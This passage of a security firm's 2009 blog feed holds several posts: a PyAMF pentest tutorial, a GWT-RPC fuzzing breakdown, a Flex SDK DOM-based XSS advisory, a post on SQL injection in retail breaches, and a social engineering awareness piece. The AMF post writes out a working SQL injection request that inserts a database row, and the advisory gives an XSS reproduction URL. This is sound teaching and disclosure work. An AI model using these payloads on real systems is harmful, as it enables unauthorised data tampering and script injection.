&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;destination="runtime-employee-ro",
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;messageID=str(uuid.uuid4()).upper(),
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;body=['Marcin'],
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;clientId=None,
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;headers={'DSId': str(uuid.uuid4()).upper(),
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;'DSEndpoint': 'my-amf',},
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;)
&nbsp;
</pre>
</p>
<p>Then, we wrap our request in an AMF envelope:</p>
<p>
<pre>&nbsp;

envelope = pyamf.remoting.Envelope(amfVersion=3)
envelope["/%d" % 1] = pyamf.remoting.Request(u'null', [request])
&nbsp;
</pre>
</p>
<p>Afterwards, we need to encode our Request Envelope in AMF using <tt>pyamf.remoting.encode()</tt>.</p>
<p>
<pre>&nbsp;

message = pyamf.remoting.encode(envelope)
&nbsp;
</pre>
</p>
<p>Using <tt>httplib</tt>, we can send and receive HTTP requests with Python, containing our AMF encoded request in the body.  We also set the Content-Type to &#8220;application/x-amf&#8221;, to specify the request is encoded in AMF, versus say, application/x-www-form-urlencoded.</p>
<p>
<pre>&nbsp;

conn = httplib.HTTPConnection(hostname, port)
conn.request('POST', path, message.getvalue(),
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;headers={'Content-Type': 'application/x-amf'})
&nbsp;
</pre>
</p>
<p>Across the wire, this request looks like:</p>
<p>
<pre>&nbsp;

POST /samples/messagebroker/amf HTTP/1.1
Host: 172.16.247.130:8400
Accept-Encoding: identity
Content-Type: application/x-amf
Content-Length: 312

\x00\x03\x00\x00\x00\x01\x00\x04null\x00\x02/1\x00\x00\x00\x00\n\x00\x00
\x00\x01\x11\n\x81\x13Oflex.messaging.messages.RemotingMessage\tbody\x11
clientId\x17destination\x0fheaders\x13messageId\x13operation\rsource\x15
timeToLive\x13timestamp\t\x03\x01\x06\rMarcin\x01\x06'runtime-employee-ro
\n\x0b\x01\tDSId\x06I7F172AA9-9172-4EE4-A6FA-A09A5C961196\x15DSEndpoint
\x06\rmy-amf\x01\x06ID246131C-F453-47C5-A55C-A6EE822D7BF0\x06'
findEmployeesByName\x01\x01\x01
&nbsp;
</pre>
</p>
<p>Following, retrieve the response from our connection object, and use <tt>pyamf.remoting.decode()</tt> to decode and print the content.</p>
<p>
<pre>&nbsp;

response = conn.getresponse()
content = response.read()

content = pyamf.remoting.decode(content)

print content
# -----------

&lt;Envelope amfVersion=3&gt;
 (u'/1', &lt;Request target=u'null'&gt;[&lt;RemotingMessage  body=[u'Marcin']
 source=None timestamp=None destination=u'runtime-employee-ro'
 clientId=None headers={'DSId': u'7F172AA9-9172-4EE4-A6FA-A09A5C961196',
 'DSEndpoint': u'my-amf'} timeToLive=None messageId=u'D246131C-F453-47C5-
 A55C-A6EE822D7BF0' operation=u'findEmployeesByName' /&gt;]&lt;/Request&gt;)
&lt;/Envelope&gt;
&nbsp;
</pre>
</p>
<p>Querying the <strong>findEmployeesByName</strong> method and injecting a single quote causes a <tt>java.sql.SQLException</tt> error to be thrown.</p>
<p>
<pre>&nbsp;

faultString=u'flex.samples.DAOException : java.sql.SQLException: Unexpected
token: % in statement [%]'
&nbsp;
</pre>
</p>
<p>To exploit this, perform a SQL injection like any other; I&#8217;ll insert a record of my own into the database:</p>
<p>
<pre>&nbsp;

POST /samples/messagebroker/amf HTTP/1.1
Host: 172.16.247.130:8400
Accept-Encoding: identity
Content-Length: 412
Content-Type: application/x-amf

\x00\x03\x00\x00\x00\x01\x00\x04null\x00\x02/1\x00\x00\x00\x00\n\x00\x00
\x00\x01\x11\n\x81\x13Oflex.messaging.messages.RemotingMessage\tbody\x11
clientId\x17destination\x0fheaders\x13messageId\x13operation\rsource\x15
timeToLive\x13timestamp\t\x03\x01\x06\x81S\\';INSERT INTO employee
(first_name, last_name, title) VALUES ('Marcin', 'Wielgoszewski', 'Rogue
CEO');--\x01\x06'runtime-employee-ro\n\x0b\x01\tDSId\x06I359E2429-9CD6-
423C-AF3D-4BD3DC4E40F3\x15DSEndpoint\x06\rmy-amf\x01\x06IBE9315A6-A7F6-
42CE-A338-23D703573207\x06'findEmployeesByName\x01\x01\x01
&nbsp;
</pre>
</p>
<p>The response did not contain anything in the body, which usually is a good indicator the SQL had processed without error.  Calling the <strong>findEmployeesByName</strong> method once more, with <em>Marcin</em> as a parameter value, returns the following data:</p>
<p>
<pre>&nbsp;

&lt;flex.messaging.io.ArrayCollection [{'employeeId': 13, 'firstName': u'Marcin',
'title': u'Rogue CEO', 'lastName': u'Wielgoszewski', 'company': None,
'phone': None, 'email': None}]&gt;
&nbsp;
</pre>
</p>
<p>In summary, this blog post aims to demonstrate how pen testers can leverage the PyAMF library to quickly write a custom AMF test client in Python.  As an interesting side note, the only method called from the client-side Flex code in the sample application is <strong>getEmployees</strong> (with no parameters).  Only after reviewing the code would one see what methods are actually available to call.  So even though the <strong>findEmployeesByName</strong> method was not used by the Flex application, it is vulnerable to SQL injection!</p>
<p>During an assessment, it&#8217;s critical that you identify all the service and method endpoints called by the application, and to also review the source code for potentially hidden methods.  If you&#8217;re operating from a strictly BlackBox perspective, you should always decompile the SWF using a tool like <a href="http://www.hp.com/go/swfscan">SWFScan</a>, and grep for <em>RemoteObject</em> and <em>AMFChannel</em> as a relatively good way to identify remoting methods.  The DeBlaze tool can also performs remote service and method enumeration, which can help you identify other services and methods that aren&#8217;t exposed in the application SWF.</p>
<p>In my next post, I&#8217;ll show how you can reverse and create custom objects using Python and PyAMF for advanced penetration testing of Adobe Flex applications.  Thanks to Adobe for providing a nice sample BlazeDS application, complete with SQL injection &#x3a;&#x29;</p>
]]></content:encoded>
			<wfw:commentRss>http://www.gdssecurity.com/l/b/2009/11/11/pentesting-adobe-flex-applications-with-a-custom-amf-client/feed/</wfw:commentRss>
		<slash:comments>5</slash:comments>
		</item>
		<item>
		<title>GWT-RPC in a Nutshell</title>
		<link>http://www.gdssecurity.com/l/b/2009/10/08/gwt-rpc-in-a-nutshell/</link>
		<comments>http://www.gdssecurity.com/l/b/2009/10/08/gwt-rpc-in-a-nutshell/#comments</comments>
		<pubDate>Thu, 08 Oct 2009 21:52:19 +0000</pubDate>
		<dc:creator>Ron Gutierrez</dc:creator>
				<category><![CDATA[Application Security]]></category>

		<guid isPermaLink="false">http://www.gdssecurity.com/l/b/?p=146</guid>
		<description><![CDATA[Hello folks, Ron Gutierrez here. Recently I chose to dissect the cryptic serialized HTTP requests used by Google Web Toolkit RPC to better understand which fields are actually “fuzzable”. If you were looking to find a flaw in the implementation of GWT RPC then every single value in the request would be fuzzible. In this [...]]]></description>
			<content:encoded><![CDATA[<p>Hello folks, Ron Gutierrez here. Recently I chose to dissect the cryptic serialized HTTP requests used by Google Web Toolkit RPC to better understand which fields are actually “fuzzable”. If you were looking to find a flaw in the implementation of GWT RPC then every single value in the request would be fuzzible. In this case, I’m looking for the fields that the web application will actually be processing.</p>
<p>First, a little bit about Google Web Toolkit (GWT). GWT is a Java framework that is used to create AJAX applications.  Rather than having to write complex JavaScript code, GWT makes it easy to build AJAX enable Java web applications by allowing developers to build the components in Java and then compiling that code into optimized JavaScript for browsers to run.  One of the added bonuses that GWT provides is the ability to reuse code.  GWT-RPC provides the ability to send native and custom Java objects from the client-side Javascript code over to the Java server-side backend.  GWT-RPC sends a serialized stream containing the Class name, Method name, Parameters through the wire whenever an AJAX call is made. This serialized stream is what we need to dissect in order to understand which fields can be fuzzed without invalidating the request.</p>
<p>The serialized steam is in plaintext and delimited by pipes.  The calls are sent through the browser as a typical HTTP POST Request with the serialized method call in the body of the request. Here is an example of a very simple GWT RPC request to a method called greetServer that takes in two strings as parameters.</p>
<p><code>5|0|7|http://localhost:8080/testproject/<br />
|29F4EA1240F157649C12466F01F46F60|<br />
com.test.client.GreetingService|greetServer|java.lang.String|<br />
myInput1|myInput2|1|2|3|4|2|5|5|6|7|</code></p>
<p>The stream can be split into three different parts (keep in mind that I am using Google’s naming convention for these parts as seen through the code that implements the serialization).</p>
<p><strong>Header </strong></p>
<ol>
<li>Contains the SERIALIZATION_STREAM_VERSION value which at present will always be set to 5.  If this value is changed, it will cause an error on the server side. Therefore, this value is not fuzzable.</li>
<li>The next value is a flag value. I have yet to seen somewhere where this value is set to anything other than 0. Modifying this value does not break a request.</li>
</ol>
<p><code><span style="color: #ff0000">5|0|</span>7|http://localhost:8080/testproject/<br />
|29F4EA1240F157649C12466F01F46F60|<br />
com.test.client.GreetingService|greetServer|java.lang.String|<br />
myInput1|myInput2|1|2|3|4|2|5|5|6|7|</code></p>
<p><strong>String Table</strong></p>
<ol>
<li>The first value is an integer that tells you how many pipe delimited values to read in to fill the String Table.  In this example, the next seven values will be the String Table contents. Consider this data structure to be similar to that of an array in that each value has an index that corresponds to the values in the Payload (discussed next).</li>
</ol>
<p><code><span style="color: #000000">5|0|</span><span style="color: #ff0000">7|</span><span style="color: #ff0000">http://localhost:8080/testproject/<br />
|29F4EA1240F157649C12466F01F46F60|<br />
com.test.client.GreetingService|greetServer|java.lang.String|<br />
myInput1|myInput2|<span style="color: #000000">1|2|3|4|2|5|5|6|7|</span></span></code></p>
<p><strong>Payload</strong></p>
<ol>
<li>Consists of numeric values used to reconstruct the method call and parameters in the String Table. For example, 1 refers to the second element (<a href="http://localhost:8080/testproject">http://localhost:8080/testproject</a>), 2 refers to the third element (29F…), etc.</li>
<li>These values for the most part should not be fuzzed. Since the payload values are used to reconstruct the method call on the server changing them to anything that will create an invalid call which will result in a request error.</li>
<li>There are a few caveats which I’ll get into more detail as we progress.</li>
</ol>
<p><code><span style="color: #ff0000"><span style="color: #000000"><code><span style="color: #000000">5|0|</span>7|<span style="color: #ff0000"><span style="color: #000000">http://localhost:8080/testproject/<br />
|29F4EA1240F157649C12466F01F46F60|<br />
com.test.client.GreetingService|greetServer|java.lang.String|<br />
myInput1|myInput2|</span><span style="color: #ff0000">1|2|3|4|2|5|5|6|7|</span></span></code></span></span></code></p>
<p>The first four values of the payload can be expected to appear in every GWT RPC request. The first two values consist of the directory containing all the Javascript that was generated during the GWT compiliation and what looks to be an identifier for the Service. Regardless of their meanings, their contents should not be fuzzed as the values are not taken into consideration by the server. The next values “com.test.client.GreetingServer” and “greetServer” corresponds to the server side service name and method name that will be called. Altering these values to an incorrect class or method will cause an exception to be thrown and returned in the response if the exception is not properly handled by the server.</p>
<p><code><span style="color: #ff0000"><span style="color: #000000"><code><span style="color: #000000">5|0|</span>7|<span style="color: #ff0000"><span style="color: #000000"><span style="color: #ff0000">http://localhost:8080/testproject/<br />
|29F4EA1240F157649C12466F01F46F60|<br />
com.test.client.GreetingService|greetServer|</span>java.lang.String|<br />
myInput1|myInput2|</span><span style="color: #000000">1|2|3|4|2|5|5|6|7|</span></span></code></span></span></code></p>
<p>This is where the Payload gets a little more interesting … The fifth payload value (2) actually tells you how many method parameters are being sent. In this example the user is sending two parameters; since two parameters are being sent, there are two subsequent payload values (5|5 in this case) that refer to the indices of the String Table containing the data types of the parameters.  In this example, The Java data type of both method parameters is java.lang.String.</p>
<p><code><span style="color: #ff0000"><span style="color: #000000"><code><span style="color: #000000">5|0|</span>7|<span style="color: #ff0000"><span style="color: #000000">http://localhost:8080/testproject/<br />
|29F4EA1240F157649C12466F01F46F60|<br />
com.test.client.GreetingService|greetServer|<span style="color: #ff0000">java.lang.String</span>|<br />
myInput1|myInput2|</span><span style="color: #000000">1|2|3|4|<span style="color: #ff0000">2|5|5|</span>6|7|</span></span></code></span></span></code></p>
<p>The final two values refer to the indices of the String Table containing the actual string values that are being passed in the method. These are the primary subjects for application-level fuzzing. It’s worth noting that integer values that are sent as parameters will be appended to the payload rather than being stored in the String Table. Integer values can be modified, however since Java will be expecting an integer value you will be limited to only numeric values.</p>
<p><code><span style="color: #ff0000"><span style="color: #000000"><code><span style="color: #000000">5|0|</span>7|<span style="color: #ff0000"><span style="color: #000000">http://localhost:8080/testproject/<br />
|29F4EA1240F157649C12466F01F46F60|<br />
com.test.client.GreetingService|greetServer|java.lang.String|<br />
<span style="color: #ff0000">myInput1|myInput2|</span></span><span style="color: #000000">1|2|3|4|2|5|5|<span style="color: #ff0000">6|7|</span></span></span></code></span></span></code></p>
<p>Keep in mind that this was a walkthrough of a request with primitive data types. In reality, developers can be sending custom objects or more complex common Java objects such as Vectors, Linked Lists, etc. These data types will follow a different protocol for reading values from the String Table and Payload. To properly de-serialize these types, I found it easiest to capture sample requests and script the de-serialization.  I am planning to share this research and my script for automating the fuzzing of GWT RPC applications in an upcoming blog post.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.gdssecurity.com/l/b/2009/10/08/gwt-rpc-in-a-nutshell/feed/</wfw:commentRss>
		<slash:comments>8</slash:comments>
		</item>
		<item>
		<title>Adobe Flex 3.3 SDK DOM-Based XSS</title>
		<link>http://www.gdssecurity.com/l/b/2009/08/20/adobe-flex-3-3-sdk-dom-based-xss/</link>
		<comments>http://www.gdssecurity.com/l/b/2009/08/20/adobe-flex-3-3-sdk-dom-based-xss/#comments</comments>
		<pubDate>Thu, 20 Aug 2009 13:44:26 +0000</pubDate>
		<dc:creator>Bix</dc:creator>
				<category><![CDATA[Application Security]]></category>

		<guid isPermaLink="false">http://www.gdssecurity.com/l/b/?p=134</guid>
		<description><![CDATA[I just released an advisory to Bugtraq regarding a DOM-Based XSS bug in the Adobe Flex 3.3 SDK and earlier versions.  I notified the vendor back on June 29, 2009 and they released the fix on August 19th.  If you would like more information, you can view their security bulletin and their TechNotes.
Overview
Adobe [...]]]></description>
			<content:encoded><![CDATA[<p>I just released an advisory to Bugtraq regarding a DOM-Based XSS bug in the Adobe Flex 3.3 SDK and earlier versions.  I notified the vendor back on June 29, 2009 and they released the fix on August 19th.  If you would like more information, you can view their <a href="http://www.adobe.com/go/apsb09-13">security bulletin</a> and their <a href="http://kb2.adobe.com/cps/495/cpsid_49530.html">TechNotes</a>.</p>
<p><strong>Overview</strong></p>
<p>Adobe Flex is a software development kit released by Adobe Systems for the development and deployment of cross-platform rich Internet applications based on the Adobe Flash platform.  An instance of a DOM-based Cross Site Scripting (XSS) vulnerability was found in the default index.template.html file of the SDK which is a template used by FlexBuilder to generate the wrapper html for all application files in your project.  The XSS vulnerability appears to affect all user&#8217;s that download and utilize this html wrapper.  For more information on DOM-based XSS visit <a href="http://www.owasp.org/index.php/DOM_Based_XSS">OWASP&#8217;s site</a>.</p>
<p><strong>Technical Details</strong></p>
<p>File: index.template.html</p>
<p>1) Data enters via URL parameters through the window.location javascript object, is then stored into MMredirectURL variable, and passed to the AC_FL_RunContent() function.</p>
<p>Line 59:<br />
..snip..<br />
<code>var MMredirectURL = window.location;</code><br />
..snip..</p>
<p>Line 63:<br />
<code>AC_FL_RunContent(<br />
..snip..<br />
"FlashVars", "MMredirectURL=" MMredirectURL '&amp;MMplayerType=' MMPlayerType '&amp;MMdoctitle=' MMdoctitle "",<br />
..snip..</code></p>
<p>2) The MMredirectURL variable with user-controllable input is passed to AC_GetArgs and ultimately to AC_Generateobj, which performs a document.write. Writing the un-validated data to HTML creates the XSS exposure.</p>
<p>File: AC_OETags.js</p>
<p>Line 200:<br />
<code>function AC_FL_RunContent(){<br />
var ret =<br />
AC_GetArgs<br />
(  arguments, ".swf", "movie", "clsid:d27cdb6e-ae6d-11cf-96b8-444553540000"<br />
, "application/x-shockwave-flash"<br />
);<br />
AC_Generateobj(ret.objAttrs, ret.params, ret.embedAttrs);<br />
}</code></p>
<p>Line 178:<br />
<code>function AC_Generateobj(objAttrs, params, embedAttrs)<br />
{<br />
var str = '';<br />
if (isIE &amp;&amp; isWin &amp;&amp; !isOpera)<br />
{<br />
str  = '&lt;object ';<br />
for (var i in objAttrs)<br />
str  = i   '="'   objAttrs[i]   '" ';<br />
str  = '&gt;';<br />
for (var i in params)<br />
str  = '&lt;param name="'   i   '" value="'   params[i]   '" /&gt; ';<br />
str  = '&lt;/object&gt;';<br />
} else {<br />
str  = '&lt;embed ';<br />
for (var i in embedAttrs)<br />
str  = i   '="'   embedAttrs[i]   '" ';<br />
str  = '&gt; &lt;/embed&gt;';<br />
}<br />
document.write(str);<br />
}</code></p>
<p>NOTE: For the exploit to work, the end user must have installed an older version of Adobe Flash than the value that is set in the Globals variable &#8220;requiredMajorVersion&#8221; (Line 36).</p>
<p><strong>Proof-of-Concept Exploit</strong></p>
<p>This vulnerability can be exploited against any Flex based application that uses the index.template.html wrapper page containing the code above.  In order to exploit this issue, the end user must have Adobe Flash installed, but it must be an older version than the required one set by the application owner (set in Globals variable &#8220;requiredMajorVersion&#8221;).</p>
<p>Reproduction Request:</p>
<p>http://FlexApp/Flex/index.template.html?&#8221;/&gt;&lt;/object&gt;&lt;XSS attack string goes here&gt;</p>
<p><strong>Recommendation</strong></p>
<p>Update to Flex 3.4 SDK or view <a href="http://kb2.adobe.com/cps/495/cpsid_49530.html">Adobe&#8217;s TechNotes </a>on how to manually fix the issue.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.gdssecurity.com/l/b/2009/08/20/adobe-flex-3-3-sdk-dom-based-xss/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>SQL Injection used in Heartland, 7-Eleven and Hannaford Breaches</title>
		<link>http://www.gdssecurity.com/l/b/2009/08/19/sql-injection-used-in-heartland-7-eleven-and-hannaford-breaches/</link>
		<comments>http://www.gdssecurity.com/l/b/2009/08/19/sql-injection-used-in-heartland-7-eleven-and-hannaford-breaches/#comments</comments>
		<pubDate>Wed, 19 Aug 2009 08:41:15 +0000</pubDate>
		<dc:creator>Justin Clarke</dc:creator>
				<category><![CDATA[Application Security]]></category>

		<guid isPermaLink="false">http://www.gdssecurity.com/l/b/?p=124</guid>
		<description><![CDATA[Having recently seen our book SQL Injection Attacks and Defense come out, it is very timely indeed to see in the news of the recent indictment of Albert Gonzalez that SQL Injection played a key part in the Heartland Payment Systems, 7-Eleven, and Hannaford Brothers breaches, as well as for two other unnamed victim companies.
So [...]]]></description>
			<content:encoded><![CDATA[<p>Having recently seen our book <a href="http://www.elsevierdirect.com/product.jsp?isbn=9781597494243">SQL Injection Attacks and Defense</a> come out, it is very timely indeed to see in the news of the recent <a href="http://voices.washingtonpost.com/securityfix/heartlandIndictment.pdf">indictment of Albert Gonzalez</a> that SQL Injection played a key part in the Heartland Payment Systems, 7-Eleven, and Hannaford Brothers breaches, as well as for two other unnamed victim companies.</p>
<p>So how can SQL Injection, which is an application level problem, be used as a vector for attacking an organization? In a number of ways.  SQL Injection gives an attacker the ability to interact with the database, and therefore if something is possible on the database server it may well be possible through SQL Injection. Modern database systems such as Oracle, SQL Server and others provide a rich variety of functionality for their users &#8211; all too often though, some of this functionality can be abused by malicious individuals.</p>
<p>Making some assumptions, its likely that something like the following occurred:</p>
<ol>
<li>It was possible to interact with the underlying operating system in some way using SQL Injection. This could have been through the ability to execute operating system commands (such as through the well known <em>xp cmdshell</em> stored procedure on Microsoft SQL Server), or through the ability to stage content to the database server (or filesystem) and then have it compiled to executable content.</li>
<li>With the ability to execute content at the operating system layer, access was consolidated by providing some form of alternative control channel or remote access to the database server.</li>
<li>With consolidated access to the database server, the attacker uses the database server as a foothold to go further into the organization.</li>
</ol>
<p>These types of hybrid attacks where one type of attack is dovetailed or launched over another are becoming increasingly common. Another SQL Injection hybrid attack of recent note was the <a href="http://www.computerworld.com.au/article/202731/mass_hack_infects_tens_thousands_sites">SQL Injection mass attacks</a> that started in early 2008. These used SQL Injection in another way &#8211; to inject links to JavaScript malware into thousands of unsuspecting vulnerable sites. It just goes to prove that even if a vulnerability is over 10 years old, it still has some new tricks to be seen.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.gdssecurity.com/l/b/2009/08/19/sql-injection-used-in-heartland-7-eleven-and-hannaford-breaches/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>SPF Moves to CodePlex</title>
		<link>http://www.gdssecurity.com/l/b/2009/08/13/spf-moves-to-codeplex/</link>
		<comments>http://www.gdssecurity.com/l/b/2009/08/13/spf-moves-to-codeplex/#comments</comments>
		<pubDate>Thu, 13 Aug 2009 14:30:38 +0000</pubDate>
		<dc:creator>Brian Holyfield</dc:creator>
				<category><![CDATA[Tools]]></category>

		<guid isPermaLink="false">http://www.gdssecurity.com/l/b/?p=114</guid>
		<description><![CDATA[Just a quick post to let everyone know that with the release of v1.0.5, SPF has officially gone open-source.  The code (and most recent binary distribution) are now available from CodePlex and have been released under the GPL license. 
The decision to open-source SPF was an easy one.  The biggest factor preventing several companies from implementing SPF in their production environment [...]]]></description>
			<content:encoded><![CDATA[<p>Just a quick post to let everyone know that with the release of <a href="http://spf.codeplex.com/Release/ProjectReleases.aspx?ReleaseId=31437#DownloadId=78876">v1.0.5</a>, SPF has officially gone open-source.  The code (and most recent binary distribution) are now available from <a href="http://spf.codeplex.com">CodePlex</a> and have been released under the GPL license. </p>
<p>The decision to open-source SPF was an easy one.  The biggest factor preventing several companies from implementing SPF in their production environment was the fact that it was neither commercially supported nor open source.  By moving SPF to an open source licensing model, more companies will have the option to experiment and hopefully use SPF to protect their web applications. </p>
<p>The CodePlex platform also provides public <a href="http://spf.codeplex.com/WorkItem/List.aspx">issue tracking</a> and a <a href="http://spf.codeplex.com/Thread/List.aspx">discussion forum</a> that will hopefully benefit the SPF user base going forward.  Enjoy!</p>
]]></content:encoded>
			<wfw:commentRss>http://www.gdssecurity.com/l/b/2009/08/13/spf-moves-to-codeplex/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Creating a Patch for Human Stupidity</title>
		<link>http://www.gdssecurity.com/l/b/2009/04/08/creating-a-patch-for-human-stupidity/</link>
		<comments>http://www.gdssecurity.com/l/b/2009/04/08/creating-a-patch-for-human-stupidity/#comments</comments>
		<pubDate>Wed, 08 Apr 2009 14:39:43 +0000</pubDate>
		<dc:creator>Alex Bayly</dc:creator>
				<category><![CDATA[General Security]]></category>

		<guid isPermaLink="false">http://www.gdssecurity.com/l/b/?p=102</guid>
		<description><![CDATA[Social engineers use old tricks and new to bypass firewalls and other conventional IT security defences by taking advantage of human weakness or kindness to attack secure buildings, machine rooms, or trading floors from inside. This gives them access to information and data that they simply couldn&#8217;t get by hacking a web site. They don&#8217;t [...]]]></description>
			<content:encoded><![CDATA[<p>Social engineers use old tricks and new to bypass firewalls and other conventional IT security defences by taking advantage of human weakness or kindness to attack secure buildings, machine rooms, or trading floors from inside. This gives them access to information and data that they simply couldn&#8217;t get by hacking a web site. They don&#8217;t have to pick locks or break windows as it’s usually easier not to. They use research, a plausible “story”, and a winning smile. A high-profile <a href="http://www.timesonline.co.uk/tol/news/uk/crime/article5563001.ece">example</a> of this type of attack was prosecuted in the UK in March 2009.</p>
<p>In September 2004, security procedures at The Sumitomo Mitsui Banking Corporation failed it when one of its security guards let friends in to play cards. The hackers installed software that recorded pictures of information on computer screens, details of keystrokes and of users&#8217; security details. They were caught when they tried to collect on the information they had harvested.</p>
<p>In 2007, a conman gained access to the safety deposit boxes at an ABN Amro bank in Antwerp&#8217;s diamond quarter, in what is thought to have been the biggest robbery ever committed by one person. The thief used no violence, <a href="http://www.independent.co.uk/news/world/europe/thief-woos-bank-staff-with-chocolates--then-steals-diamonds-worth-16314m-440755.html">just his charm</a>, to gain entry and steal gems worth €21 million. </p>
<p>&#8220;He bought chocolates for the personnel, he was a nice guy, he charmed them, got the original of keys to make copies and got information on where the diamonds were,&#8221; said Philip Claes, spokesman for the Diamond High Council in Antwerp.</p>
<p>Many people who work in offices will know that passwords, key codes, and SecureID tokens can often be simply picked up off the desks around them. If a social engineer can gain access to an office, any of this information is potentially up for grabs. The data that can be accessed using these items is very likely to be critical to the company, otherwise why defend it? </p>
<p>So how do you defend your company against an attacker who uses his knowledge of your staff to simply walk into the building? </p>
<p>The patch for human weakness is simple: education. An informed workforce is safer than one left in the dark. Managers should try to create a corporate culture in which security is everybody’s business, not just that of the IT department or the security guard. An organisation’s technological security may identify some attacks, but if the staff and organisational culture are on your side as well, then your systems will be far more secure.</p>
<p>For example, employees should understand that if legitimate IT staff need access to a machine, they should not need the employee&#8217;s help, or username and password, to do so. But if the company&#8217;s employees treat technology as a feared and mysterious thing, it leaves a hole through which a social engineer can attack. The social engineer may be given access to critical systems, simply by posing as one of the IT staff. During social engineering engagements we have had instances where employees have logged in for the social engineering team, believing them to be IT staff, and left them in charge of critical systems.</p>
<p>Since we started testing how companies&#8217; systems hold up against social engineering attacks, we have been surprised by how easy it is to operate in a crowded room. We have even worked in restricted access areas and never been challenged. Looking like you belong and are busy can make people leave you alone. Why does this work? </p>
<p>Most organisations&#8217; security policies require that staff ask people who they do not recognise for company ID. But especially in Britain, asking for ID is seen as confrontational behaviour and those who do it may meet more outrage than praise for their understanding of the need to challenge strangers. You need more that just a policy to resolve this problem; you need to teach people that social engineering actually happens, and that they can make a difference. </p>
<p>In the UK we are lucky enough to have a TV show called the <a href="http://www.youtube.com/watch?v=Ewo73NtwNKg">Real Hustle</a>. This show purports to teach people about the way con men work and protect them from getting hustled. If it can work for keeping peoples money in their wallets, couldn’t staff education in a similar vain keep corporate data safe? </p>
]]></content:encoded>
			<wfw:commentRss>http://www.gdssecurity.com/l/b/2009/04/08/creating-a-patch-for-human-stupidity/feed/</wfw:commentRss>
		<slash:comments>3</slash:comments>
		</item>
	</channel>
</rss>
